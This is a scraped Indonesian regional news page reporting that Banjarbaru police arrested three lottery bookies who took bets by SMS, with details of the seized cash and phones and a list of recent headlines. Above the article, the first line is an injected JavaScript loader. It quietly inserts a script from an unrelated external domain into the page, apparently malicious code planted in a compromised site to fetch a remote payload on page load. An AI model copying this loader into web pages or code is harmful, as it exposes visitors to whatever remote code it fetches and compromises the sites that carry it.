(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Judi Togel Via SMS, Tiga Pelaku Diringkus Resmob Polres Banjarbaru


BANJARBARU, Hanya butuh waktu satu jam jajaran Resmob Sat Reskrim Polres Banjarbaru berhasil mengamankan tiga orang bandar judi togel di dua tempat berbeda, Sabtu (14/4).

Selain mengamankan tersangka, petugas juga menyita barang bukti uang tunai, buku, secarik kertas yang bertuliskan angka tebakan serta handphone sebagai sarana untuk berkomunikasi antara pemasang dengan bandar.

Kapolres Banjarbaru AKBP Kelana Jaya melaui Kasat Reskrim Polres Banjarbaru AKP Sudarno mengatakan, mereka yang tertangkap tangan dan telah terbukti sebagai bandar judi togel bakal diproses sesuai dengan pelanggaran hukum tindak pidana. Pelaku ditangkap karena adanya laporan dari masyarakat yang sudah resah terhadap aktifitas yang mereka lakukan.

“Kedua tersangka itu dijerat dengan pasal 303 (KUHP) tentang perjudian,” tegas Kasat Reskrim Polres Banjarbaru AKP Sudarno.

Penangkapan judi togel pertama di jalan Kebun Karet RT 13 RW 06 Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Kamis (12/4/) sore sekitar pukul 15.00 Wita.

Dari hasil penangkapan itu, Polisi berhasil mengamankan satu orang tersangka yang berinisial J (43). “Modus operandi yang dilakukan tersangka adalah dengan menjual angka-angka tebakan judi jenis togel melalui via SMS ke nomor handphone terlapor.” ucap AKP Sudarno.

Satu jam berselang, jajaran ini juga mengamankan lelaki berinisial Y (50) warga Guntung Payung, Kecamatan Landasan Ulin dan H (58) warga Kebun Karet, RT 014 RW 007, Kelurahan Loktabat Utara, Banjarbaru Utara hasil pengembangan dari tersangka sebelumnya.

“Dari tersangka J (43), kami berhasil menyita barang bukti, antara lain uang tunai sebesar Rp 1.500.000, 1 buah handphone merk Nokia warna hitam dan 1 lembar sobekan kertas yang berisikan nomor angka yang akan di pasang, sedangkan dari tersangka Y (50) dan H (58), kami berhasil menyita barang bukti uang tunai sebesar Rp 589.000, dan 3 buah handphone dengan berbagai merk,” ucap Kasat Reskrim Polres Banjarbaru. (rico)

Editor:Abi Zarrin Al Ghifari
Reporter:Rico

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

9 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

10 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

10 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

10 jam ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

14 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

16 jam ago

This website uses cookies.